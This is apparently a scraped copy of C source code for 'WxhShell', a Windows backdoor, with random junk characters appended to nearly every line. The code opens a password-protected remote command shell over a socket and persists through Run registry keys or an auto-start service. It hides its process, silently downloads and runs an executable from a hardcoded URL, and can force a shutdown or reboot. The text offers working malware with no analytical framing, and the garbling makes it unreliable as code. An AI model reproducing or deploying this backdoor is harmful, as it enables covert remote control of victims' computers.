    closesocket(wsh); wH&!W~M  
    ExitThread(0); f|c{5$N!  
    } `wEb<H  
    break; 20h, ^  
    } '3fu  
  // 关机 s?}e^/"v  
  case 'd': { H[$"+&q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xwq (N_  
    if(Boot(SHUTDOWN)) L|7R9+ZG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]y '>=a|T  
    else { ^A/k)x6  
    closesocket(wsh); g3/W=~r  
    ExitThread(0); #&aqKV Y  
    } 3z?> j]  
    break; B%b4v  
    } D2 eckLT  
  // 获取shell D?_Zl;bQ'^  
  case 's': { }@+0/W?\.  
    CmdShell(wsh); YnAm{YyI  
    closesocket(wsh); 5coyr`7mP  
    ExitThread(0); VA_PvL.9  
    break; }!r|1$,kL  
  } <{cQM$ #  
  // 退出 \'D0'\:vz  
  case 'x': { !CT5!5T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Qd$nH8EDY  
    CloseIt(wsh); Ya"a`ozq  
    break; =s2*H8]  
    } osAd1<EIC  
  // 离开 f}f9@>.  
  case 'q': { >*_$]E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4F'LBS]=0  
    closesocket(wsh); Jhhb7uU+  
    WSACleanup(); 7,o7Cf2z  
    exit(1); `?_Q5lp/s  
    break; $|@@Qk/T  
        } <0&*9ZeD  
  } xF'EiX~  
  } q dBrQC  
zKJ#`OhT  
  // 提示信息 d#4**BM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )23H1  
} IY\5@PVZ  
  } "7F?@D$e  
cf20.F{<  
  return; 7' V@+5  
} u0c1:Uv#~e  
_op}1   
// shell模块句柄 6iE<T&$3P  
int CmdShell(SOCKET sock) )yZ^[uJ}3C  
{ X *"i6 *  
STARTUPINFO si; zE9W8:7  
ZeroMemory(&si,sizeof(si)); &.Qrs :U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'XjZ_ng  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dOH &  
PROCESS_INFORMATION ProcessInfo; |FZ/[9*  
char cmdline[]="cmd"; @9RM9zK.q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {qJ1ko)$  
  return 0; L+i=VGm0  
} BG]#o| KW  
?X<eV1a   
// 自身启动模式 Zt{[ *~  
int StartFromService(void) L48_96  
{ 1 bU,$4  
typedef struct e\zm7_+i{  
{ C XMLt  
  DWORD ExitStatus;  {Gk1vcq  
  DWORD PebBaseAddress; ZG8DIV\D7  
  DWORD AffinityMask; 7# Kn8s  
  DWORD BasePriority; 08\, <9  
  ULONG UniqueProcessId; eJX9_6m-  
  ULONG InheritedFromUniqueProcessId; )g%d:xI  
}   PROCESS_BASIC_INFORMATION; `e&Suyf4B  
{ROVvs`  
PROCNTQSIP NtQueryInformationProcess; Vv=. -&'  
|3"KK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PB*&aYLU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~P **O~  
:{l_FY436  
  HANDLE             hProcess; #r\4sVg  
  PROCESS_BASIC_INFORMATION pbi; .|fH y  
4!yzsPJL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Moza".fiN  
  if(NULL == hInst ) return 0; H40p86@M  
XK@E;Rv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HBXOjr<,{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3;{kJQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mNTzUoZF'@  
oAeUvmh  
  if (!NtQueryInformationProcess) return 0; >SHhAEF  
#h ]g?*}OJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y]2A&0  
  if(!hProcess) return 0; qfm|@v|De5  
K?1W!fY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Cnh \%OW  
X5$Iyis  
  CloseHandle(hProcess); xY(*.T9K  
dkTX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &n:.k}/P  
if(hProcess==NULL) return 0; QlU8uI[dk  
C33J5'(CA  
HMODULE hMod; uHzU-FZ|B  
char procName[255]; GGs}i1m  
unsigned long cbNeeded; f r6 fj  
;[OH(!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &}B|"s[  
[sj osV  
  CloseHandle(hProcess); ~=l;=7 T  
7;wd(8  
if(strstr(procName,"services")) return 1; // 以服务启动 `|& O*`  
B[?Ng}<g`  
  return 0; // 注册表启动 A$0fKko  
} Pu$Tk |  
;iL#7NG-R  
// 主模块 FWgpnI\X|{  
int StartWxhshell(LPSTR lpCmdLine) +a{1)nCXe  
{ #.)0xfGW)n  
  SOCKET wsl; RMu~l@  
BOOL val=TRUE; -k e's  
  int port=0; 'zuIBOH`j3  
  struct sockaddr_in door; 1\2no{Vh  
>U27];}y  
  if(wscfg.ws_autoins) Install(); R$[vm6T?  
fuf"Ae  
port=atoi(lpCmdLine); )zdQ1&@  
J}K$(;:  
if(port<=0) port=wscfg.ws_port; n9ej7oj  
\\;jw[P0  
  WSADATA data; p6!x=cW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sS'm!7*(3  
VTY 5]|;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <}9lZEqY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e=m42vIB-  
  door.sin_family = AF_INET; RQ" ,3.R==  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d|Lj~x|  
  door.sin_port = htons(port); 4O!ikmY:t  
12gU{VD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  S9FE  
closesocket(wsl); 0)Wltw~`&  
return 1; H8}oIA"b  
} X2~!(WxU F  
mtcw#D  
  if(listen(wsl,2) == INVALID_SOCKET) { T!)(Dv8@F  
closesocket(wsl); {q^[a-h>  
return 1; -k"/X8  
} P8/0H(,  
  Wxhshell(wsl); '3^'B0 3  
  WSACleanup(); *_\_'@1|J)  
oV78Hq6  
return 0; >e5 qv(y]  
U0P~  
} "b3"TPfK  
":QZy8f9%  
// 以NT服务方式启动 aHK}sr,U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CryBwm  
{ |[b{)s?x  
DWORD   status = 0; t!7-DF|N  
  DWORD   specificError = 0xfffffff; ZyFjFHe+  
?)d~cJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e^1Twz3z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gT6jYQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D_zZXbNc  
  serviceStatus.dwWin32ExitCode     = 0; suDQ~\ n  
  serviceStatus.dwServiceSpecificExitCode = 0; R.yvjPwJ  
  serviceStatus.dwCheckPoint       = 0; ml }{|Yz  
  serviceStatus.dwWaitHint       = 0; SSMHoJGm  
YNsJZnGr8#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j3E7zRm] \  
  if (hServiceStatusHandle==0) return; LyFN.2qw  
V1B5w_^>h'  
status = GetLastError(); 1tFNM[R  
  if (status!=NO_ERROR) HY:7? <r  
{ tf`^v6m%]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ds[|   
    serviceStatus.dwCheckPoint       = 0; qF;|bF  
    serviceStatus.dwWaitHint       = 0; 9V*qQS5<p  
    serviceStatus.dwWin32ExitCode     = status; ,.FxIl ]  
    serviceStatus.dwServiceSpecificExitCode = specificError; %6f*{G w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /aZ`[m2  
    return; z*% q@]ym  
  } smo~7;  
Yr[\|$H5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D2~*&'4y  
  serviceStatus.dwCheckPoint       = 0; uJ v-4H  
  serviceStatus.dwWaitHint       = 0; 6i3$CW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gp.^~p]x  
} ?m"( S oh  
JY(WK@  
// 处理NT服务事件,比如:启动、停止 1#+S+g@#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p H2Sbs:Tk  
{ ]Er$*7f  
switch(fdwControl) ;>7De8v@@  
{ Q*~]h;6\{d  
case SERVICE_CONTROL_STOP: w~qT1vCCN  
  serviceStatus.dwWin32ExitCode = 0; Vs!Nmv`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .eVG:tl\  
  serviceStatus.dwCheckPoint   = 0; t;\Y{`  
  serviceStatus.dwWaitHint     = 0; XU(eEnmo m  
  { P( 8OQL:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qq|57X)P*  
  } FVJ GL  
  return; Oxd]y1  
case SERVICE_CONTROL_PAUSE: JT_ `.(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :eVq#3}  
  break; A6(/;+n  
case SERVICE_CONTROL_CONTINUE: ,Ko!$29[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9q~s}='"  
  break; + ksVtG,  
case SERVICE_CONTROL_INTERROGATE: $yNS pNmT0  
  break; tK\~A,=  
}; Ta\tYZj$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '/s)%bc  
} A2Gevj?F$  
s!$7(Q86R  
// 标准应用程序主函数 #S"nF@   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o&$A]ph8X  
{ _xhax+,! ~  
{3aua:q  
// 获取操作系统版本 c5GuM|*7  
OsIsNt=GetOsVer(); #KZBsa@p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;NITc  
9'bwWBf7  
  // 从命令行安装 R8'RA%O9J  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ds:'Lb  
rFL;'Cj@  
  // 下载执行文件 P/_['7  
if(wscfg.ws_downexe) { }*]-jWt1J\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gRcQt:  
  WinExec(wscfg.ws_filenam,SW_HIDE); Rnq7LGy  
} )+9Uoe~6  
qlPT Ll  
if(!OsIsNt) { <wD-qTW  
// 如果时win9x,隐藏进程并且设置为注册表启动 [/8%3  
HideProc(); '^UI,"Ti  
StartWxhshell(lpCmdLine); )l DD\J7  
} IjnU?Bf  
else d/~9&wLSb  
  if(StartFromService()) .%  
  // 以服务方式启动 z~s PXGb  
  StartServiceCtrlDispatcher(DispatchTable); 13x p_j  
else `VguQl_,gA  
  // 普通方式启动 Otn1wBI  
  StartWxhshell(lpCmdLine); 1bwOm hkS  
^^ixa1H<  
return 0; ' S/gmn  
} $ $mV d+  
QoT;WM Z  
uoh7Sz5!^  
]:J$w]\  
=========================================== 4^o^F-k'  
@cXMG6:{  
uQKT  
63IM]J  
a9Zq{Ysj  
 z+X}HL  
" b@hqz!)l`  
'!B&:X)  
#include <stdio.h> J5,9_uo]  
#include <string.h> 7s^'d,P  
#include <windows.h> $/Uq0U  
#include <winsock2.h> {]4LULq  
#include <winsvc.h> !R`{ TbN  
#include <urlmon.h> ~*];pV]A[  
/Lr.e%  
#pragma comment (lib, "Ws2_32.lib") FGBbO\< /  
#pragma comment (lib, "urlmon.lib") Yrq~5)%  
PLBr P  
#define MAX_USER   100 // 最大客户端连接数  O*P.]d  
#define BUF_SOCK   200 // sock buffer 5*u+q2\F  
#define KEY_BUFF   255 // 输入 buffer xr^LFn)  
5wU]!bxr  
#define REBOOT     0   // 重启 SQ+Gvq%Q]  
#define SHUTDOWN   1   // 关机 ) ;Y;Q  
J\=*#*rJ1  
#define DEF_PORT   5000 // 监听端口 'i|YlMFIg  
((%? `y  
#define REG_LEN     16   // 注册表键长度 P?P#RhvA1  
#define SVC_LEN     80   // NT服务名长度 )MT}+ai  
@gK?\URoT  
// 从dll定义API R 2vlFx/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -X6PRE5a2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5~DJWi,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Xne1gms  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dft!lBN  
BDQsP$'6QT  
// wxhshell配置信息 /Z}}(6T  
struct WSCFG { +D*Z_Yh6  
  int ws_port;         // 监听端口 >9Vn.S  
  char ws_passstr[REG_LEN]; // 口令 o}p n0KO,  
  int ws_autoins;       // 安装标记, 1=yes 0=no QIFgQ0{  
  char ws_regname[REG_LEN]; // 注册表键名 .O<obq~;C  
  char ws_svcname[REG_LEN]; // 服务名 -jm Y)(\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ZXPX,~ 5o  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p!AAFmc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sU^1wB Rj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (+hK%}K>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" XW92gI<O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w5 Li&m  
@_{=V0  
}; Bk{]g=DO  
vtJJ#8a]  
// default Wxhshell configuration DzRFMYBR  
struct WSCFG wscfg={DEF_PORT, gI|~|-'  
    "xuhuanlingzhe", =($xG#g`  
    1, ,|/f`Pl  
    "Wxhshell", cPQiUU~W@  
    "Wxhshell", &mM0AA'\?H  
            "WxhShell Service", ti,d&c_7  
    "Wrsky Windows CmdShell Service", Q\0'lQJdy  
    "Please Input Your Password: ", E' uZA  
  1, ;}p  
  "http://www.wrsky.com/wxhshell.exe", kD"{g#c  
  "Wxhshell.exe" NvX[zqNP_R  
    }; n~Lt\K:  
)D%~` ,#pQ  
// 消息定义模块 WUTowr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :.`2^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7F.4Ga;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; % A0/1{(  
char *msg_ws_ext="\n\rExit."; ql~J8G9  
char *msg_ws_end="\n\rQuit."; j B{8u&kz)  
char *msg_ws_boot="\n\rReboot..."; 9+!hg'9Qn  
char *msg_ws_poff="\n\rShutdown..."; O^rDHFj,  
char *msg_ws_down="\n\rSave to "; b| (: [nB  
|JsZJ9W+J  
char *msg_ws_err="\n\rErr!"; _,*r_D61S  
char *msg_ws_ok="\n\rOK!"; KqP#6^ _  
)=(kBWM  
char ExeFile[MAX_PATH]; M869MDo  
int nUser = 0; *qpSXmOz  
HANDLE handles[MAX_USER]; M)(DZ}  
int OsIsNt; oxtay7fx  
F((4U"   
SERVICE_STATUS       serviceStatus; _)iCa3z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; An0GPhC  
yaX iE_.  
// 函数声明 cm+P]8o%{  
int Install(void); 1=v*O.XW`  
int Uninstall(void); K:WDl;8 (d  
int DownloadFile(char *sURL, SOCKET wsh); 62NsJ<#>  
int Boot(int flag); b#o|6HkW  
void HideProc(void); ]/{)bpu  
int GetOsVer(void); :rP=t ,  
int Wxhshell(SOCKET wsl); Zj Z^_X3  
void TalkWithClient(void *cs); 9A#i_#[R  
int CmdShell(SOCKET sock); >8[Z.fX  
int StartFromService(void); z'7]h TA  
int StartWxhshell(LPSTR lpCmdLine); y>ktcuML  
eszG0Wu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !d T4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5 IpDeJ$  
Zb#u0Tq  
// 数据结构和表定义 ?&uu[y  
SERVICE_TABLE_ENTRY DispatchTable[] = /zox$p$?h  
{ ` G kX  
{wscfg.ws_svcname, NTServiceMain}, {2gwk8  
{NULL, NULL} 2 ? 4!K.  
}; :~SyL!  
J9 I:Q<;  
// 自我安装 _(zG?]y0P  
int Install(void)  WfRXP^a  
{ 3iU=c&P  
  char svExeFile[MAX_PATH]; Qv ?"b  
  HKEY key; #s9aI_  
  strcpy(svExeFile,ExeFile); <{cQ2  
0IWf!Sk ]  
// 如果是win9x系统,修改注册表设为自启动 BL4-7  
if(!OsIsNt) { _WbxH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |V7*l1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4b`=>X;W  
  RegCloseKey(key); O.JN ENZf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UL9n-M =  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,]/X\t5]D  
  RegCloseKey(key); bs1Rvx1:J%  
  return 0; ;9'OOz|+1  
    } . 'yCw#f  
  } 'O-"\J\  
} ABYcH]m  
else { :2)/FPL6  
d0 /#nz  
// 如果是NT以上系统,安装为系统服务 ll?X@S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m) D|l1AtF  
if (schSCManager!=0) |+"(L#wk  
{ t3^&; &[  
  SC_HANDLE schService = CreateService %xt^698&X  
  ( V^~:F  
  schSCManager, Xlt|nX~#;  
  wscfg.ws_svcname, >KKMcTOYY  
  wscfg.ws_svcdisp, !1b;F*H  
  SERVICE_ALL_ACCESS, FE;x8(;W8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uvS)8-o&F  
  SERVICE_AUTO_START, E<*xx#p  
  SERVICE_ERROR_NORMAL, S`]k>' l  
  svExeFile, YA5g';$H*  
  NULL, [a<SDMR  
  NULL, _Bj":rzY  
  NULL, ijU*|8n{>  
  NULL, ??/ 'kmd  
  NULL L{Vqh0QD&  
  ); pmYHUj #  
  if (schService!=0) SZCze"`[  
  { II=79$n`G  
  CloseServiceHandle(schService); PTV:IzoW  
  CloseServiceHandle(schSCManager); f|oh.z_R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f`66h M[  
  strcat(svExeFile,wscfg.ws_svcname); )BfAw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z([</D?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mXs; b 2r^  
  RegCloseKey(key); M rb)  
  return 0; W=4FFl[  
    } m~ee/&T  
  } a"u0Q5J  
  CloseServiceHandle(schSCManager); 3HK\BS  
} , 9 a  
} YKf0dh;O  
*DhiN  
return 1; I1&aM}y{G  
} MnW+25=N  
k$}fWR  
// 自我卸载 #A8sLkY  
int Uninstall(void) Y`wSv NU  
{ 8*a&Jl  
  HKEY key; cQ_Hp <D  
"5$B>S(Q  
if(!OsIsNt) { UJ6v(:z <  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eb$#A _m  
  RegDeleteValue(key,wscfg.ws_regname); lqpp)Cq  
  RegCloseKey(key); 1[-tD 0{H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JOBhx)E  
  RegDeleteValue(key,wscfg.ws_regname); [z9Z5sLO  
  RegCloseKey(key); '@P^0+B!(.  
  return 0; KJZ4AWH`  
  } b5n'=doR/I  
} lsNd_7k  
} -d:Jta!}{  
else { kylVH! @l  
@pU)_d!pJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %ULr8)R;  
if (schSCManager!=0) Dv`c<+q(#  
{ SMK_6?MZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d m%8K6|  
  if (schService!=0) ;i:d+!3XwC  
  { U :_^#\p  
  if(DeleteService(schService)!=0) { \1Em`nvOX  
  CloseServiceHandle(schService); Uf+%W;}  
  CloseServiceHandle(schSCManager); Q&bM\;Ml  
  return 0; ]e@Oiq  
  } Pk)1WK7E  
  CloseServiceHandle(schService); QP J4~  
  } \dQNLLg/  
  CloseServiceHandle(schSCManager); g eCM<]  
} 8}| (0mC  
} r]36z X v  
jrh43 \$*  
return 1; nzeX[*  
} JqiP>4Uwm^  
}JAG7L&{  
// 从指定url下载文件 8Uxne2e  
int DownloadFile(char *sURL, SOCKET wsh) q> C'BIr  
{ du^J2m{f  
  HRESULT hr; 8)I^ t81  
char seps[]= "/"; (dSL7nel;L  
char *token; (Ep\Z 6*  
char *file; !%0 * z  
char myURL[MAX_PATH]; Ma"]PoP  
char myFILE[MAX_PATH]; #Mw8^FST  
 ; 4~hB  
strcpy(myURL,sURL); W5MTD]J   
  token=strtok(myURL,seps); Q]>.b%s[  
  while(token!=NULL) 1&Zj  
  { ~&bq0 (  
    file=token; B^9j@3Ux  
  token=strtok(NULL,seps); czd~8WgOa  
  } u;c?d!E  
y'*K|a TG  
GetCurrentDirectory(MAX_PATH,myFILE); | Xy6PN8  
strcat(myFILE, "\\"); 4{`{WI{  
strcat(myFILE, file); U/NoP4~{  
  send(wsh,myFILE,strlen(myFILE),0); ~qOa\#x_  
send(wsh,"...",3,0); }vM("v|M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @;RXLq/8  
  if(hr==S_OK) V~5jfcd  
return 0; OI*Xt`  
else ~/P[J  
return 1; vRO _Q?  
wAW5 Z0D  
} @<&m|qtMsz  
d/DB nZN  
// 系统电源模块 o`*,|Nsq  
int Boot(int flag) D}X\Ca"h  
{ 'Qe;vZ31K  
  HANDLE hToken; n7-6- #  
  TOKEN_PRIVILEGES tkp; <e</m)j  
B`J~^+`[*  
  if(OsIsNt) { {{p7 3 'u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ciz X<Cr}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3/n5#&c\4  
    tkp.PrivilegeCount = 1; Jze:[MYS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JFk lUgg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9-*uPK]m9  
if(flag==REBOOT) { omBoo5e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s!7y  
  return 0; k+pr \d~  
} p= } Nn(  
else { W:L AP R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WI-1)1t  
  return 0; ?<'}r7D   
} :Fvrs( x  
  } u:_,GQ )\  
  else { ;;N9>M?b  
if(flag==REBOOT) { OpYY{f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I9hK} D  
  return 0; !d0kV,F:  
} D!IY&H,wo  
else { wDe& 1(T^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z~ /` 1  
  return 0; f=K]XTw~  
} :&9s,l   
} DlMW(4(  
81 sG  
return 1; v,>Dbxn  
} @t_=Yl2;  
Z}Ft:7   
// win9x进程隐藏模块 DN57p!z  
void HideProc(void) o:Sa, !DK  
{ Fy-t T]Q9  
HRfYl,S,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wEvVL  
  if ( hKernel != NULL ) UrEs4R1#  
  { *YuF0Yt  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *wB1,U{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QE`bSI  
    FreeLibrary(hKernel); e h?zNu2=  
  } P?of<i2E  
ExL0?FemWV  
return; L>4"(  
} -4{<=y?"a  
LuvY<~u  
// 获取操作系统版本 (V67`Z )  
int GetOsVer(void) .jjG(L  
{ H ]Z$OpI  
  OSVERSIONINFO winfo; tG22#F`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t=W}SH  
  GetVersionEx(&winfo); mSl.mi(JiZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K^<BW(s  
  return 1; +}os&[S  
  else Q:d]imw!O  
  return 0; 0[?Xxk}s0  
} ?QdWrE_  
PP33i@G  
// 客户端句柄模块 57  
int Wxhshell(SOCKET wsl) [ ~c|mOk  
{ a'yK~;+_9  
  SOCKET wsh; ML56k~"BL  
  struct sockaddr_in client; dk4CpN  
  DWORD myID; VY=jc~c]v  
h^(* Tv-!  
  while(nUser<MAX_USER) +E(L\  
{ = x)-u8P  
  int nSize=sizeof(client); #( 146  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); '$]97b7G  
  if(wsh==INVALID_SOCKET) return 1; >$/>#e~  
EDl!w:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l L@XM2"  
if(handles[nUser]==0) y(yHt= r  
  closesocket(wsh); `Cynj+PCe  
else !9VY|&fHe  
  nUser++; -3Z,EaG^  
  } O23k:=Av  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q Y? j#fzi  
m'=Crei  
  return 0; e)? .r9pA;  
} a![{M<Y~  
IDriGZZ<)6  
// 关闭 socket h_,i&d@(  
void CloseIt(SOCKET wsh) j@3Q;F0ba  
{ q\4Xs$APq  
closesocket(wsh); T;a}#56{^  
nUser--; ~H<6gN<j(.  
ExitThread(0); +.b,AqJ/  
} ~[nSXnPO  
H;k~oIs k  
// 客户端请求句柄 3<f}nfB%r?  
void TalkWithClient(void *cs) 2E)-M9ds  
{ ,Np0wg0  
k|PN0&J  
  SOCKET wsh=(SOCKET)cs; fW1CFRHH  
  char pwd[SVC_LEN]; :vQrOn18p  
  char cmd[KEY_BUFF]; :zke %Yx  
char chr[1]; 5 ,B_u%bb  
int i,j; i^Y+?Sx  
CXx*_@}MU  
  while (nUser < MAX_USER) { A>;bHf@  
'"/=f\)u  
if(wscfg.ws_passstr) { !6O(-S2A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .glA gt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;) z:fToh  
  //ZeroMemory(pwd,KEY_BUFF); Y0dEH^I  
      i=0; VSI9U3t3w  
  while(i<SVC_LEN) { Q%f^)HZGR  
nuMD!qu!nZ  
  // 设置超时 g63(E,;;J  
  fd_set FdRead; XZ]uUP  
  struct timeval TimeOut; vDhh>x(  
  FD_ZERO(&FdRead); +RMSA^  
  FD_SET(wsh,&FdRead); i0kak`x0  
  TimeOut.tv_sec=8; }t=!(GOb}  
  TimeOut.tv_usec=0; A,Vu\3HS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ub#a`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P90yI  
BWv^ zi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7p16Hv7y~  
  pwd=chr[0]; IT7wT+  
  if(chr[0]==0xd || chr[0]==0xa) { J~ zUp(>K  
  pwd=0; o!Ieb  
  break; ;dtA4:IRZ4  
  } %XoiVlT@:  
  i++; {{D)YldtA  
    } %i9E @EV  
m_?~OL S  
  // 如果是非法用户,关闭 socket D4lG[qb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0oZ= yh  
} O1U=X:Zl  
FQ7T'G![  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u=?.}Pj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~IfJwBn-i  
=9boya,>  
while(1) { aFb==73aLw  
.B]MpmpK  
  ZeroMemory(cmd,KEY_BUFF); bz2ztH9 n  
#@9/g  
      // 自动支持客户端 telnet标准   Xq]w<$  
  j=0; Fa Qe_;  
  while(j<KEY_BUFF) { b_#m}yZ6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  gmO!  
  cmd[j]=chr[0]; ll<Xz((o  
  if(chr[0]==0xa || chr[0]==0xd) { oim9<_  
  cmd[j]=0; t?x<g<PJ4  
  break; wOEj)fp .  
  } DJXmGt]  
  j++; j_!F*yul  
    } fF$<7O)+]  
L_uVL#To  
  // 下载文件 5j<mbt}  
  if(strstr(cmd,"http://")) { :uq\+(9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,]ma+(|  
